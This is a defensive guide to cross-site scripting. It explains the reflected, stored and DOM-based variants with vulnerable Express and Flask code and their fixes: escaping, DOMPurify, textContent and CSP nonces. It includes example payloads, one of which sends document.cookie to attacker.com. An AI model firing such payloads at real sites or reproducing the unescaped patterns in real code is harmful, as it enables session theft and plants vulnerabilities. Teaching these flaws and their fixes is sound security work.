Cross-site scripting remains one of the most common vulnerabilities on the web. It ranks in the OWASP Top 10 2021 as A03:2021 (Injection) because the surface area is enormous: anywhere user input reaches the DOM is a potential injection point. Frameworks help, but they do not eliminate XSS. This guide covers the three attack classes, how they differ in practice, and the controls that actually stop them.
The Three Variants
Reflected XSS — the payload arrives in a request (URL parameter, form field) and gets echoed directly into the response without storage. The attacker must trick a user into clicking a crafted link.
Stored XSS — the payload is saved in a database or log and rendered to other users later. No link required. A comment containing <script> tags that executes for every reader is stored XSS. These are higher-severity because the attacker does not need to target each victim individually.
DOM-based XSS — the vulnerability lives entirely in client-side JavaScript. The server sends a safe response, but the frontend reads from location.hash, document.referrer, or postMessage and writes it unsafely to the DOM. The server never sees the payload; WAFs and server-side output encoding cannot stop it.
Reflected XSS
A classic server-side example in a Node.js Express app:
// Vulnerable -- user input reflected directly
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for: ${query}</h1>`);
});
Payload: ?q=<script>fetch('https://attacker.com/?c='+document.cookie)</script>
The response now contains a script tag that exfiltrates session cookies.
Equivalent vulnerability in Python/Flask:
# Vulnerable
@app.route('/search')
def search():
query = request.args.get('q', '')
return f'<h1>Results for: {query}</h1>' # Never do this
Server-side fix: output encoding
Encode before inserting into HTML. Every template engine has a mechanism; the key is knowing when it is applied and when it is bypassed.
# Flask/Jinja2 -- auto-escaped by default in .html templates
@app.route('/search')
def search():
query = request.args.get('q', '')
return render_template('search.html', query=query)
# In template: <h1>Results for: {{ query }}</h1>
# Jinja2 escapes: <script> etc.
In Node.js, never concatenate user data into HTML strings. Use a templating engine with auto-escaping, or better, serve JSON and let the frontend framework handle rendering:
// Safe: return data, let the template handle display
app.get('/search', (req, res) => {
const query = req.query.q;
res.json({ query, results: [] });
});
Stored XSS
Stored XSS typically arrives via a write endpoint (comment submission, profile bio, support ticket) and executes when anyone views the affected resource.
// Vulnerable: saves raw HTML and renders it
app.post('/comments', async (req, res) => {
const { body } = req.body;
await db.comments.create({ body }); // saves <script>...</script>
res.redirect('/comments');
});
app.get('/comments', async (req, res) => {
const comments = await db.comments.findAll();
// Dangerous if rendering with innerHTML or {{ body | safe }}
res.render('comments', { comments });
});
If the template renders comment.body without escaping, every user who views the comments page executes the attacker’s script.
Rich text: use an allowlist sanitiser
When you need to accept formatted HTML (markdown editors, WYSIWYG), sanitise before storing or before rendering. Do not build your own sanitiser.
import DOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const window = new JSDOM('').window;
const purify = DOMPurify(window);
function sanitizeHtml(dirty) {
return purify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title'],
FORCE_HTTPS: true,
});
}
app.post('/comments', async (req, res) => {
const clean = sanitizeHtml(req.body.body);
await db.comments.create({ body: clean });
res.redirect('/comments');
});
DOMPurify is the most battle-tested browser and Node.js sanitiser. sanitize-html (npm) is a good server-side alternative with attribute allowlisting. Never use innerHTML with data that has not passed through a sanitiser.
DOM-Based XSS
This is the variant most developers underestimate because it requires no server-side mistake.
// Vulnerable: reads from URL hash and writes to DOM
const search = location.hash.slice(1); // everything after #
document.getElementById('results').innerHTML = `Showing: ${search}`;
Payload: https://example.com/search#<img src=x onerror=alert(1)>
The server serves a perfectly safe page. The vulnerability exists entirely in the two-line JavaScript above.
Common DOM XSS sources:
location.hashlocation.searchparsed manuallydocument.referrerpostMessagedata without origin validationlocalStorage/sessionStoragewhen populated from external sources
DOM XSS: use textContent, not innerHTML
// Safe: textContent never interprets HTML
const search = location.hash.slice(1);
document.getElementById('results').textContent = `Showing: ${search}`;
When you must insert HTML from dynamic content, use the DOM parser or a sanitiser:
// Safe: parse via DOMParser before inserting
function safeHTML(html) {
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
return doc.body;
}
In React, Angular, and Vue, the framework escapes by default. dangerouslySetInnerHTML (React), [innerHTML] (Angular), v-html (Vue) bypass this protection — treat them like innerHTML and require sanitisation before use.
Content Security Policy
CSP is the defence-in-depth layer that limits what injected scripts can do even if your encoding fails. A properly configured CSP prevents exfiltration, inline script execution, and data theft.
Minimal effective CSP for a server-rendered app:
Content-Security-Policy: default-src 'self'; script-src 'nonce-{random}'; object-src 'none'; base-uri 'self';
Every <script> tag must carry a per-request nonce that matches. Injected scripts without the nonce do not execute.
In Express:
import crypto from 'crypto';
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy',
`default-src 'self'; script-src 'nonce-${res.locals.cspNonce}' 'strict-dynamic'; object-src 'none'; base-uri 'self';`
);
next();
});
In your template:
<script nonce="{{ cspNonce }}">
// your application code
</script>
strict-dynamic allows scripts loaded by nonce-trusted scripts to also run, which makes CSP compatible with dynamic script loaders and modern frontend frameworks.
Summary: Controls That Actually Work
| Control | Stops reflected | Stops stored | Stops DOM | Notes |
|---|---|---|---|---|
| Output encoding (server) | Yes | Yes | No | Non-negotiable for server-rendered apps |
| Framework auto-escaping | Yes | Yes | Partial | Depends on avoiding unsafe sinks |
| HTML sanitiser (allowlist) | Yes | Yes | No | Required when you must accept HTML input |
textContent instead of innerHTML | No | No | Yes | Single most effective DOM XSS fix |
| CSP with nonces | Yes (depth) | Yes (depth) | Yes (depth) | Defence in depth, not a substitute |
No single control covers all three variants. Apply output encoding and auto-escaping by default, avoid unsafe DOM sinks, sanitise rich text with an allowlist library, and add CSP as a backstop.